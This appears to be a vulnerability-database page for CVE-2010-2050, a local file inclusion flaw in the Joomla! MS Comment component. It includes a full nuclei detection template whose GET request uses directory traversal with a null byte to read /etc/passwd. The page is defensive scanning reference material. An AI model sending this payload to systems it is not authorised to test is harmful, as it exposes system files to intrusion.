HexBrain

Browse / CVEs / CVE-2010-2050

CVE-2010-2050· m0r0n / com mscomment· CWE-22

Joomla! Component MS Comment 0.8.0b - Local File Inclusion

highseverity
7.5CVSS score
13.1%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

A directory traversal vulnerability in the Moron Solutions MS Comment (com_mscomment) component 0.8.0b for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potentially execute arbitrary code.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_mscomment&controller=../../../../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2050 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2010-2050

info:
  name: Joomla! Component MS Comment 0.8.0b - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the Moron Solutions MS Comment (com_mscomment) component 0.8.0b for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potentially execute arbitrary code.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12611
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2050
    - http://packetstormsecurity.org/1005-exploits/joomlamscomment-lfi.txt
    - http://www.vupen.com/english/advisories/2010/1159
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58619
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2050
    cwe-id: CWE-22
    epss-score: 0.13074
    epss-percentile: 0.96382
    cpe: cpe:2.3:a:m0r0n:com_mscomment:0.8.0:b:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: m0r0n
    product: com_mscomment
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,m0r0n,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_mscomment&controller=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from